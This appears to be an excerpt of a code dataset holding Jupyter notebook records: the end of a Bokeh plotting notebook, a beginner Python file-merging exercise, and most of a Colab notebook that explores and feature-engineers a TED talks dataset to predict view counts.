bokeh.models.LabelSet(x='avg_switch', y='avg_exchange', text='index', source=ex_cl_data,\n x_offset=5, y_offset=5)\np.add_layout(labels)\n\nbokeh.io.show(p)\n\n# +\np = bokeh.plotting.figure(title='Switch vs Exchange Cubes Place', x_range=[0, 2], tooltips='@index')\n\np.circle(x='avg_switch', y='avg_exchange', source=ex_cl_data)\np.multi_line(xs=[[0, 1], [0, 2], [0, 3], [0, 4]], ys=[[1, 0], [2, 0], [3, 0], [4, 0]], color='red')\np.xaxis.axis_label = 'Average Cubes Placed on Switch'\np.yaxis.axis_label = 'Average Cubes to Exchange'\n\nteam_labels = bokeh.models.LabelSet(x='avg_switch', y='avg_exchange', text='index', source=ex_cl_data,\n x_offset=5, y_offset=5)\np.add_layout(team_labels)\nslope1_label = bokeh.models.Label(x=0.8, y=-0.1, text='1 cube/match', text_color='red')\np.add_layout(slope1_label)\nslope2_label = bokeh.models.Label(x=1.3, y=0.4, text='2 cubes/match', text_color='red')\np.add_layout(slope2_label)\nslope3_label = bokeh.models.Label(x=1.3, y=1.4, text='3 cubes/match', text_color='red')\np.add_layout(slope3_label)\nslope4_label = bokeh.models.Label(x=1.3, y=2.45, text='4 cubes/match', text_color='red')\np.add_layout(slope4_label)\n\nbokeh.io.show(p)\n# -\n\n\n","repo_name":"irs1318dev/python_class","sub_path":"19_files/Bokeh.ipynb","file_name":"Bokeh.ipynb","file_ext":"py","file_size_in_byte":6249,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"17889826545","text":"#1.)Write a Python program to merge two files into a third file.\nf1=open(\"D:\\\\Lets Upgrade\\\\Python Submissions\\\\file1.txt\")\ndata1=f1.read()\nprint(\"The data inside file1 : \\n\",data1)\nf2=open(\"D:\\\\Lets Upgrade\\\\Python Submissions\\\\file2.txt\")\ndata2=f2.read()\nprint(\"The data inside file2 : \\n\",data2)\nf3=open(\"D:\\\\Lets Upgrade\\\\Python Submissions\\\\file3.txt\",mode='w+')\nf3.write(data1+'\\n'+data2)\nprint(\"The data has been succesfully written inside third file\")\nf3.close()\n\n#2.)Take two lists as input list1 = [1,2,3,4,5] and list2 = [\"a\", \"b\", \"c\", \"d\", \"e\"] From that make a\n#dictionary ouput {1:\"a\", 2:\"b\", 3:\"c\", 4:\"d\", 5:\"e\"}\nlist1=[1,2,3,4]\nlist2=['mahita','kushal','kanu bhai','antima didi']\nprint(f\"List1 is : {list1} \\nList2 is : {list2} \")\nd={list1[i]:list2[i] for i in range(len(list1))}\nprint(\"The dictionary created from both lists is:\\n\",d)\n","repo_name":"mahitakhandelwal/Python-Submissions-for-LetsUpgrade","sub_path":"Assignment 3 Day 4.ipynb","file_name":"Assignment 3 Day 4.ipynb","file_ext":"py","file_size_in_byte":853,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"8446323219","text":"# + [markdown] id=\"view-in-github\" colab_type=\"text\"\n# \"Open\n\n# + [markdown] id=\"Vq3hdbbwR1pG\"\n# # **Ted Talk Views Prediction**\n\n# + [markdown] id=\"4sKzbvK2R_k1\"\n# **TED is devoted to spreading powerful ideas on just about any topic. These datasets contain over 4,000 TED talks including transcripts in many languages Founded in 1984 by Richard Salman as a nonprofit organization that aimed at bringing experts from the fields of Technology, Entertainment, and Design together, TED Conferences have gone on to become the Mecca of ideas from virtually all walks of life. As of 2015, TED and its sister TEDx chapters have published more than 2000 talks for free consumption by the masses and its speaker list boasts of the likes of Al Gore, Jimmy Wales, Shahrukh Khan, and Bill Gates.**\n\n# + [markdown] id=\"tEB-X8q7SKx4\"\n# # **Dataset Information**\n#\n#\n# * Number of instances: 4,005\n# * Number of attributes: 19\n#\n#\n\n# + [markdown] id=\"3YEDSHiJSamh\"\n# # **Features information:**\n#\n# **The dataset contains features like:**\n#\n# * **talk_id**: Talk identification number provided by TED\n# * **title**: Title of the talk\n# * **speaker_1**: First speaker in TED's speaker list\n# * **all_speakers**: Speakers in the talk\n# * **occupations**: Occupations of the speakers\n# * **about_speakers**: Blurb about each speaker\n# * **recorded_date**: Date the talk was recorded\n# * **published_date**: Date the talk was published to TED.com\n# * **event**: Event or medium in which the talk was given\n# * **native_lang**: Language the talk was given in\n# * **available_lang**: All available languages (lang_code) for a talk\n# * **comments**: Count of comments\n# * **duration**: Duration in seconds\n# * **topics**: Related tags or topics for the talk\n# * **related_talks**: Related talks (key='talk_id',value='title')\n# * **url**: URL of the talk\n# * **description**: Description of the talk\n# * **transcript**: Full transcript of the talk\n\n# + [markdown] id=\"S7pUV-6VTKg6\"\n# # **Target Variable :**\n#\n#\n#\n# * **views**: Count of views\n#\n#\n\n# + [markdown] id=\"6DV3Iq8lTiEy\"\n# ###**Goal: The main objective is to build a predictive model, which could help in predicting the views of the videos uploaded on the TEDx website.**\n\n# + [markdown] id=\"FPCed8luT2sc\"\n# # **Project Work flow**\n#\n# 1. Importing Libraries\n#\n# 2. Loading the Dataset\n#\n# 3. EDA on features\n#\n# 4. Feature Engineering\n#\n# 5. Data Cleaning\n#\n# 6. Feature selection\n#\n# 7. Fitting the regression models and HyperParameter Tuning\n#\n# 8. Comparison of Models\n#\n# 9. Final selection of the model\n#\n# 10. Conclusion\n\n# + [markdown] id=\"OlvPXTuyT7hk\"\n# # **1. Importing Libraries**\n\n# + id=\"kNCs0eVWR8Ck\"\n#importing the libraries\nimport pandas as pd\nimport numpy as np\nfrom datetime import datetime\nimport seaborn as sns\nimport matplotlib.pyplot as plt\n# %matplotlib inline\nfrom sklearn.linear_model import Ridge, Lasso\nfrom sklearn.ensemble import RandomForestRegressor, GradientBoostingRegressor, ExtraTreesRegressor\nfrom sklearn.neural_network import MLPRegressor\nimport xgboost as xgb\nfrom sklearn import neighbors\nfrom sklearn.svm import SVR\nimport time\nfrom sklearn import metrics\nfrom sklearn.metrics import mean_squared_error, r2_score,mean_absolute_error\nfrom sklearn.preprocessing import StandardScaler, MinMaxScaler\nfrom sklearn.model_selection import train_test_split, KFold\nfrom sklearn.preprocessing import OneHotEncoder\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.model_selection import RandomizedSearchCV\nfrom sklearn import ensemble\n\nimport warnings\nwarnings.filterwarnings('ignore')\n\n# + [markdown] id=\"aWyxRzwaUsBv\"\n# **Now, we have imported the libraries so let's proceed to loading of the dataset.**\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"WnPShLSYUWJa\" outputId=\"e20f4676-3e62-407c-8d07-2a5eb6c24ce3\"\n#mounting the drive to import the file\nfrom google.colab import drive\ndrive.mount('/content/drive')\n\n# + [markdown] id=\"7cabg4R8U1V6\"\n# # **2. Loading the dataset**\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 634} id=\"wag6zpCOUxNt\" outputId=\"c1775f93-5514-461c-ad64-67dd265e2e2e\"\n#loading the data file and creating a dataframe\npath='/content/drive/MyDrive/Colab Notebooks/data_ted_talks.csv'\ndf=pd.read_csv(path)\ndf.head()\n\n# + [markdown] id=\"WgLA9IV9VDAd\"\n# **Now, we have loaded the dataset. So, let's start with EDA on features.**\n\n# + [markdown] id=\"cv20gB9GVKcs\"\n# # **3. Exploratory Data Analysis on features**\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"N_8QcsMBU6nj\" outputId=\"6e33b026-4cf8-4b4b-cd06-2b2249fe95bf\"\n#let's print the shape of the dataset.\ndf.shape\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"tNWTbr7xVSeS\" outputId=\"2f484ceb-61d4-45fa-f17a-4df20914d795\"\n#printing the dataset info\ndf.info()\n\n# + [markdown] id=\"ag4RIOzTVj8n\"\n# * **Here, we have only 3 numerical columns in our dataset out of which 1 is our target variable and 2 can be used as features and rest all columns are either categorical or they contains textual data.**\n# * **So, our main goal here is to find or generate some numerical columns from these columns.**\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 332} id=\"b27T35lsVc4R\" outputId=\"e8f538c5-3ab8-416b-84a7-d51c89029255\"\n#printing the head of the dataset\ndf.head(2)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"BYxFRAw5Vuv3\" outputId=\"800b80d7-d2f8-411a-cc44-66e9417c0d18\"\n#checking for duplicacy in the dataset\ndf.duplicated().sum()\n\n# + [markdown] id=\"3IwIHYmRV3h9\"\n# **The dataset doesn't contain any duplicate rows.**\n\n# + [markdown] id=\"GJ9e_acqV9kR\"\n# ## **3.1 Let's Check for null values**\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"RCijIdHYWdne\" outputId=\"2a845e0b-984d-4ceb-c091-d42531a63259\"\ndf.isnull().sum()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 334} id=\"qZuGMqZFVz2W\" outputId=\"0b357051-af8b-40a6-9ebe-5eec300c9366\"\n#checking the missing data in the dataset\nsns.heatmap(df.isnull(),yticklabels=False,cbar=False,cmap='viridis')\nplt.rcParams['figure.figsize'] = (10, 6)\n\n# + [markdown] id=\"00lzRYMHWiR4\"\n# **The dataset contains NaN values in few columns like:**\n#\n# * all_speakers\n# * occupations\n# * about_speakers\n# * comments\n\n# + [markdown] id=\"UB-UpcBKW749\"\n# **Dropping the url column as it is of no use for us.**\n\n# + id=\"C00DReZfWI_X\"\n#dropping the url column\ndf=df.drop(columns=['url'])\n\n# + [markdown] id=\"llglLxcmXJYO\"\n# ## **3.2 Let's explore speaker_1 column**\n# **Speaker of top 5 most watched video**\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 206} id=\"9Vt0FJEHW_42\" outputId=\"c3fd6be1-2774-4e55-e2f7-e94133a05224\"\n#Extarcting the records of top 5 most viewed videos\npop_df=df.nlargest(5, ['views'])\npop_df[['speaker_1','views','title']]\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 422} id=\"6N3EHOa4Xffu\" outputId=\"2b626ff0-4194-41ac-fe6a-c09eb10026ab\"\n#finding Speaker's of most popular video\nplt.figure(figsize=(10,6))\nplt.title(\"Speaker's of most popular video\")\nsns.barplot(x='speaker_1',y='views',data=pop_df)\n\n# + [markdown] id=\"DqM4w-c6X2ry\"\n# * **Sir Ken Robinson's talk on \"Do Schools Kill Creativity?\" is the most popular TED Talk of all time with more than 65 million views.**\n# * **It is closely followed by Amy Cuddy talk on \"Your body language may shape who you are\" with more than 57 million views.**\n# * **There is only one talk that has crossed 60 million mark while 3 talks have crossed 50 million mark.**\n\n# + [markdown] id=\"X83AMzHrYCao\"\n# **Let's find most popular speaker**\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 363} id=\"5LVAlD4_XqYx\" outputId=\"a62218f1-158f-41d9-8bba-45196dbbe4fb\"\n#finding most popular speaker from the dataset\npop_speaker_df=df.groupby('speaker_1').agg({'views' : 'sum'}).nlargest(10,['views'])\npop_speaker_df.reset_index(inplace=True)\npop_speaker_df\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 422} id=\"3HfNLvFlYRwJ\" outputId=\"ccdcd6e3-395c-405f-b36c-534503b5e255\"\n#printing most popular Speaker according to total views on their talks\nplt.figure(figsize=(20,6))\nplt.title('Top 10 Speaker according to total views on their talks')\nsns.barplot(x='speaker_1',y='views',data=pop_speaker_df)\n\n# + [markdown] id=\"exbhvladY3Hm\"\n# * **Alex Gendler is the most popular speaker followed by Sir Ken Robinson**\n\n# + [markdown] id=\"Ao25-QnrY80m\"\n# ## **3.3 Let's explore the event column**\n# **Let's Check for unique event category in event column.**\n#\n#\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"M2PaxSaAZQ7G\" outputId=\"8734fac8-9d37-4ec8-932b-883d89020203\"\ndf.event.unique()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"uHD0mbkFYymg\" outputId=\"94341fff-6598-4226-b4b6-ecdd63937e88\"\n#printing the len of unique values in event column\nlen(df.event.unique())\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 363} id=\"U2kcXxpsZPzc\" outputId=\"6b46cb4a-bb0e-415e-8a27-293aa0b3f9b4\"\n#let's find the most frequent event categories\nfreq_event_df=df[['event','views']].groupby('event').agg({'views' : 'count'}).nlargest(10,['views'])\nfreq_event_df.reset_index(inplace=True)\nfreq_event_df\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 421} id=\"sYaWUVOeZ5j5\" outputId=\"ae2fd38b-f3e5-41bd-ce53-4708e27e97f8\"\n#plotting Most frequent event category\nplt.figure(figsize=(10,6))\nplt.title('Most frequent event category')\nsns.barplot(x='event',y='views',data=freq_event_df)\n\n# + [markdown] id=\"HTae9JjFacNZ\"\n#\n# * **TED-Ed is the most frequent event category with 556 entries followed by TED2017 and TED2018**\n\n# + [markdown] id=\"B3AGyyKmanjN\"\n# **Let's explore the most popular event category**\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 363} id=\"b4OeRwICaYnR\" outputId=\"21ab7c33-39d6-499a-f0b7-61b4a016ddc4\"\n#let's find the most popular event categories\npop_event_df=df[['event','views']].groupby('event').agg({'views' : 'sum'}).nlargest(10,['views'])\npop_event_df.reset_index(inplace=True)\npop_event_df\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 421} id=\"t70Elamwa26G\" outputId=\"d0501d02-007c-40f1-964d-ab8c6a180aa1\"\n#plotting the Top event category according to total views\nplt.figure(figsize=(15,6))\nplt.title('Top event category according to total views')\nsns.barplot(x='event',y='views',data=pop_event_df)\n\n# + [markdown] id=\"t0hsqjY9a_eY\"\n# * **TED-Ed is the most popular event category having maximum number of total views followed by TED2015.**\n\n# + [markdown] id=\"_WzslmISbHB2\"\n# ## **3.4 Let's explore native_lang column**\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"-ZjdVC7ja8JP\" outputId=\"668dd46d-c24a-4b69-99dd-59215f3064b5\"\n#printing the value counts of native_lang column\ndf.native_lang.value_counts()\n\n# + [markdown] id=\"c-c1E3m9bSQb\"\n# * **Here, approx 99% values in native_lang column is en.**\n# * **So, this column will not impact much and of no use to us and we can simply remove it.**\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 422} id=\"NK56dsgvbMuH\" outputId=\"b5d49d9b-933a-4b6e-a1a8-49204ceb9412\"\n#plotting the countplot of native_lang column\nplt.title('Native language')\nsns.countplot(df['native_lang'])\n\n# + id=\"ZEXJgCmCbfFT\"\n#Dropping the native_lang column\ndf.drop(columns='native_lang',inplace=True)\n\n# + [markdown] id=\"lDchNB1MbxXT\"\n# ## **3.5 Let's explore the title column and visualize the most frequent words in title.**\n\n# + id=\"hyfsLKFfbptK\"\n#importing the wordcloud\nfrom wordcloud import WordCloud,ImageColorGenerator\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 408} id=\"NSotgOc8b4yP\" outputId=\"cd1419d0-4808-4633-f32d-50d4f5c8a530\"\n#making of word cloud from title column\ntext = \" \".join(topic for topic in df.title.astype(str))\nprint (\"There are {} words in the combination of all titles.\".format(len(text)))\n \n# Create and generate a word cloud image:\nwordcloud = WordCloud(background_color=\"white\", width=800, height=400).generate(text)\n \nplt.axis(\"off\")\nplt.rcParams[\"figure.figsize\"] = (15,5)\nplt.tight_layout(pad=0)\nplt.imshow(wordcloud, interpolation='bilinear')\nplt.show()\n\n# + [markdown] id=\"YBgmfdWudDmq\"\n# * **Majoriity of Titles contains words like life, world, make, new, future, people,brain etc.**\n\n# + [markdown] id=\"Ja6S4NWDdJnQ\"\n# ## **3.6 Let's visualize most popular topic tags with word cloud**\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 408} id=\"DLyATdsccG9h\" outputId=\"a8a870d4-9500-4106-c6df-f4cb9250ef80\"\ntext = \" \".join(topic for topic in df.topics.astype(str))\nprint (\"There are {} words in the combination of all topics.\".format(len(text)))\n \n# Create and generate a word cloud image:\nwordcloud = WordCloud(background_color=\"white\", width=800, height=400).generate(text)\n \nplt.axis(\"off\")\nplt.rcParams[\"figure.figsize\"] = (15,5)\nplt.tight_layout(pad=0)\nplt.imshow(wordcloud, interpolation='bilinear')\nplt.show()\n\n# + [markdown] id=\"rrhljMnXdc9i\"\n# ## **3.7 Let's explore occupation column.**\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 36} id=\"C3txZES8cMF_\" outputId=\"33d0f33b-d287-4219-a459-0cac5b175577\"\ndf['occupations'][1]\n\n# + [markdown] id=\"EmBVN6Q7dzzH\"\n# **Occupations column contains a dictionary for each row storing the occupations of each speaker as values.**\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"oacOGcSmdo_T\" outputId=\"6a3f94aa-6ad0-4b58-c8a9-a382dcb9bfc7\"\n#counting for null values in occupations column\ndf['occupations'].isnull().sum()\n\n# + [markdown] id=\"8n6GwAQ7eJMH\"\n# **Replacing nan values of occupations column with 'other'**\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"iVJTqCp_d6I0\" outputId=\"38792ccf-13c3-4786-ce5d-4719e0a6d186\"\nimport numpy as np\ndf1 = df['occupations'].replace(np.nan, 'other', regex=True)\ndf1= df1.reset_index()\ndf1['occupations'].isna().sum()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 206} id=\"Ck7vaF-peTo6\" outputId=\"8985dc3e-1da9-40d5-906c-faf26cb5e69a\"\ndf1.head()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 634} id=\"PXopRVGoeVea\" outputId=\"eb086dbb-2122-4306-fce5-61639feb8d68\"\ndf.head()\n\n# + [markdown] id=\"1R_pJHmge1Hi\"\n# * **We have 522 Nan values in occupations column.**\n# * **Let's replace those NaN values with another category called 'other'.**\n\n# + id=\"_Blm2yY8em_s\"\n#replacing Nan values of occupations column with other \nfor index, row in df.iterrows():\n if pd.isnull(row['occupations']):\n df['occupations'][index] = str({0:'Other'})\n\n# + id=\"iqj-EWFMfgHX\"\n#applying function on occupations column\ndf['occupations'] = df.apply(lambda row: eval(row['occupations']), axis=1)\n\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 652} id=\"3k4Sx6dhfuRO\" outputId=\"635ef469-a8af-4842-b68b-e76019974c8d\"\ndf.tail()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 652} id=\"cJm36GLbgSKl\" outputId=\"b05dc30f-3005-4952-fe51-af0e18058433\"\n#defining a new feature called occupation\ndf['occupation'] = 'other'\n#iterating through the each row and extracting occupations of speakers\nfor index, row in df.iterrows():\n occup_list=list(row['occupations'].values())[0][0]\n df.loc[index,'occupation'] = str(occup_list)\n \ndf.tail()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"ShsG8vgOg-yD\" outputId=\"abf34f5c-278c-4740-fc3c-1384e18ef4f1\"\n#Checking the length of unique occupation in event column.\nlen(df['occupation'].unique())\n\n# + [markdown] id=\"FDMxxnA3hvqH\"\n# * **Now we have 1552 unique entries in the event column.**\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 353} id=\"9Pu6OehUhn77\" outputId=\"225088d7-f9d2-419e-d522-e25fc97158b6\"\n#Printing the top 15 most frequent speaker's occupations\nocc_df=df[df['occupation']!='O']\nfig,ax=plt.subplots(figsize=(17,5))\na=sns.barplot(x=occ_df['occupation'].value_counts(ascending=False).head(15).index, \n y=occ_df['occupation'].value_counts(ascending=False).head(15).values, ax=ax)\na.set(title=\"top 15 most frequent speaker's occupations\")\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"81ypYOiriemp\" outputId=\"e5bc06b7-831a-420a-97a5-984f554c433b\"\n#printing the value_counts of occupation column\nocc_df['occupation'].value_counts().head(15)\n\n# + [markdown] id=\"5ILS1gP9ivja\"\n# * **Most of the speakers are writer folowed by author and journalist.**\n\n# + [markdown] id=\"pibUZghEkx4n\"\n# **Let's make the world cloud for occupations column.**\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 426} id=\"6Phq67ouiiol\" outputId=\"38306591-8ea5-4ba2-919d-bf2c57e1ceaf\"\n#joining the texts\ntext = \" \".join(occ for occ in occ_df.occupation.astype(str))\nprint (\"There are {} words in the combination of all occupations.\".format(len(text)))\n \n# Create and generate a word cloud image:\nwordcloud = WordCloud(background_color=\"white\", width=800, height=400).generate(text)\n \nplt.axis(\"off\")\nplt.rcParams[\"figure.figsize\"] = (15,5)\nplt.tight_layout(pad=0)\nplt.imshow(wordcloud, interpolation='bilinear')\n\n# + [markdown] id=\"OGcjDL_6Yw8o\"\n# ## **3.8 Let's explore published_date column**\n\n# + id=\"N3fItvtqk4a0\"\n#applying strptime on published_date column\nimport datetime\ndf['published_date'] = df['published_date'].apply(lambda x: datetime.datetime.strptime(x,\"%Y-%m-%d\"))\n\n# + id=\"iSNmFjf2Y8uA\"\n#extracting release day, month and year from the published date column\ndf['release_day'] = df['published_date'].apply(lambda x: x.weekday())\ndf['release_month']=df['published_date'].apply(lambda x: x.month)\ndf['release_year'] = df['published_date'].apply(lambda x: x.year)\n\n# + [markdown] id=\"elZhIgwSZF7z\"\n# **I have extracted weekday month and year from published_date column and added three separate columns as:**\n#\n# * **release_day**\n# * **release_month**\n# * **release_year** \n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 664} id=\"RIbyfD7NZC5E\" outputId=\"5d793b80-f077-4b19-c58c-e52c6610b588\"\ndf.head()\n\n# + id=\"FdiuXdfOZYYt\"\n#encoding of release_day column with corresponding week day name\nweek_day={0:'Monday',1:'Tuesday',2:'Wednesday',3:'Thursday',4:'Friday',5:'Saturday',6:'Sunday'}\ndf['release_day']=df['release_day'].map(week_day)\n\n# + [markdown] id=\"vdoXw7TIZg16\"\n# ### **Let's explore release_day column.**\n# **Checking the most frequent release day of the week.** \n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 269} id=\"J1222xyYZeBv\" outputId=\"6aa4ae64-1dd4-4b04-c128-74b12098ae32\"\n#checking the day of the month having maximum release date \nfreq_rel_day=df[['release_day','views']].groupby('release_day').agg({'views' : 'count'})\nfreq_rel_day=freq_rel_day.sort_values('views',ascending=False)\nfreq_rel_day.reset_index(inplace=True)\nfreq_rel_day\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 422} id=\"_A_Pwu-mZvbi\" outputId=\"0cbd21d8-4946-4822-f667-69507e038504\"\n# checking the day of the week having maximum release date \nplt.figure(figsize=(10,6))\nsns.barplot(x='release_day',y='views',data=freq_rel_day)\nplt.title('Most frequent release days')\n\n# + [markdown] id=\"XWLypO6gZ9Mk\"\n# **Let's check the best release day of the week with respect to average views**\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 269} id=\"DopTH7HsZ9Cb\" outputId=\"6098a5cc-486f-4f0d-90a8-31b7a595a5ee\"\npop_rel_day=df[['release_day','views']].groupby('release_day').agg({'views' : 'mean'})\npop_rel_day=pop_rel_day.sort_values('views',ascending=False)\npop_rel_day.reset_index(inplace=True)\npop_rel_day\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 422} id=\"HnNo_YJrZ5bb\" outputId=\"62e9df1e-c89a-428d-dd27-c3aa3a614cc2\"\nplt.figure(figsize=(10,6))\nplt.title('Released week days having maximum views')\nsns.barplot(x='release_day',y='views',data=pop_rel_day)\n\n# + [markdown] id=\"dxwJpPG0avP1\"\n# * **Most videos are published on Tuesday followed by Thursday.**\n# * **But the videos published on Friday are more popular (i.e. have more average views) followed by wednesday.**\n# * **Friday release is impacting the views of the video**\n# ## **Let's explore release_month column**\n\n# + id=\"vZvex9jsaYJB\"\n#encoding of release_month column with corresponding month name\nmonth_dict={1:'Jan',2:'Feb',3:'March',4:'April',5:'May',6:'June',7:'July',8:'Aug',9:'Sep',10:'Oct',11:'Nov',12:'Dec'}\ndf['release_month']=df['release_month'].map(month_dict)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 313} id=\"h-PAc0vQbBH4\" outputId=\"afdf6ea2-b8f2-4a16-bc3a-b9bd18405417\"\n#checking months having maximum release \nfreq_rel_month=df[['release_month','views']].groupby('release_month').agg({'views' : 'count'})\nfreq_rel_month=freq_rel_month.sort_values('views',ascending=False)\nfreq_rel_month.reset_index(inplace=True)\n\n# checking the months having maximum release \nplt.figure(figsize=(10,4))\nsns.barplot(x='release_month',y='views',data=freq_rel_month)\nplt.title('Most frequent release months')\n\n# + [markdown] id=\"RakA9GDNbIRW\"\n# **Most videos are released in April followed by March and Feb.**\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 368} id=\"NoA-gX43bEYQ\" outputId=\"a8b449d2-3eee-48b6-874f-e9f280c25967\"\n#Printing the most popular release month according to average Views\npop_rel_month=df[['release_month','views']].groupby('release_month').agg({'views' : 'mean'})\npop_rel_month=pop_rel_month.sort_values('views',ascending=False)\npop_rel_month.reset_index(inplace=True)\n \nplt.figure(figsize=(10,5))\nplt.title('Released months having maximum average views')\nsns.barplot(x='release_month',y='views',data=pop_rel_month)\n\n# + [markdown] id=\"pGgqPaaqbSwu\"\n# * **April have maximum released videos, But the videos released in March are more popular (i.e. have more average views) followed by May and Sep.**\n\n# + [markdown] id=\"6H6twtIpbYSg\"\n# ## **Let's explore release_year column.**\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 313} id=\"DCH3F4OSbOut\" outputId=\"e3f2051d-2bba-4391-e230-5c6299856bfb\"\n#checking years having maximum release \nfreq_rel_year=df[['release_year','views']].groupby('release_year').agg({'views' : 'count'})\nfreq_rel_year=freq_rel_year.sort_values('views',ascending=False)\nfreq_rel_year.reset_index(inplace=True)\n#Plotting the years having maximum release \nplt.figure(figsize=(10,4))\nsns.barplot(x='release_year',y='views',data=freq_rel_year)\nplt.title('Most frequent release years')\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 368} id=\"mv4_slyVbfIi\" outputId=\"40c0d86a-a73b-448c-86e6-d1705c7ffc63\"\n#Printing the most popular release years according to AVERAGE Views\npop_rel_year=df[['release_year','views']].groupby('release_year').agg({'views' : 'mean'})\npop_rel_year=pop_rel_year.sort_values('views',ascending=False)\npop_rel_year.reset_index(inplace=True)\n \nplt.figure(figsize=(10,5))\nplt.title('Released years having maximum average views')\nsns.barplot(x='release_year',y='views',data=pop_rel_year)\n\n# + [markdown] id=\"EC_emOvVbkAX\"\n# ## **3.9 Let's plot some numerical features.**\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 362} id=\"HW_NAUl1bhzw\" outputId=\"24736eaf-e9df-4957-aa5f-6ee89278b333\"\n#plotting the distplot of tareget variable\nplt.figure(figsize=(10,5))\nsns.distplot(df['views'])\n\n# + [markdown] id=\"WFVrS5VHbsWT\"\n# * **Here, our target variable is rightly skewed.**\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 351} id=\"WX-aFvFjbpHi\" outputId=\"234e67ac-9498-4dc4-cb57-5565c4ef132e\"\n##plotting the distplot of comments\nplt.figure(figsize=(10,5))\nsns.distplot(df['comments'])\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 351} id=\"05-g1eE4bzsG\" outputId=\"d0db79f9-fbbc-451b-f0ea-5eb6cefe5a4d\"\n#plotting the distplot of duration\nplt.figure(figsize=(10,5))\nsns.distplot(df['duration'])\n\n# + [markdown] id=\"xcM5HOKm-gOf\"\n# # **4.Feature Engineering**\n\n# + [markdown] id=\"bEw3fjKc_2xN\"\n# ### **Feature engineering is the process of transforming raw data into features that better represent the underlying problem to the predictive models, resulting in improved model accuracy on unseen data.**\n\n# + [markdown] id=\"OOCHptBP__Y7\"\n# ## **4.1 Feature Engineering on Speaker_1 column**\n\n# + id=\"NViw4HSbb10-\" colab={\"base_uri\": \"https://localhost:8080/\"} outputId=\"976f222f-3a9c-489b-c26d-c0ac924f0acf\"\nlen(df['speaker_1'].unique())\n\n# + [markdown] id=\"9Wn_-QobB8s4\"\n# **I am going to use target encoding for speaker_1 column as it has high cardinality number around 3000.**\n#\n# **Target encoding is the process of replacing a categorical value with the mean of the target variable. Any non-categorical columns are automatically dropped by the target encoder model. ... This can help improve machine learning accuracy since algorithms tend to have a hard time dealing with high cardinality columns.**\n\n# + id=\"Tx-FAZqKAE2o\"\n#Doing target encoding on speaker_1 column\npop_speaker=df.groupby('speaker_1').agg({'views' : 'mean'}).sort_values(['views'],ascending=False)\npop_speaker=pop_speaker.to_dict()\npop_speaker=pop_speaker.values()\npop_speaker= list(pop_speaker)[0]\ndf['speaker_1_avg_views']=df['speaker_1'].map(pop_speaker)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"J6Sk41eqCV7Z\" outputId=\"d7ce516d-eae9-4995-9336-713d839e1b2c\"\ndf['speaker_1_avg_views']\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 363} id=\"44mRXD9ZCXTB\" outputId=\"72f03aa1-0165-4e1a-8891-de2c33b20644\"\n#Let's plot the speaker_1_avg_views column\nplt.figure(figsize=(10,5))\nsns.distplot(df['speaker_1_avg_views'])\n\n# + [markdown] id=\"fvS13DHkDfd1\"\n# ## **4.2 Feature Engineering on event column**\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"gXct5deTDclO\" outputId=\"dfc1b794-9acf-433c-9cab-bc88a41ebb46\"\n#finding the unique events from the event column.\nevent_list=list(df.event.unique())\nlen(event_list)\n\n# + [markdown] id=\"7L1PSMA9GbbD\"\n# **The dataset has 459 unique event category but lots of these names are quite similar and can be categorised together.**\n\n# + id=\"gR3-yt-4GMGG\"\n#applying target encoding on event 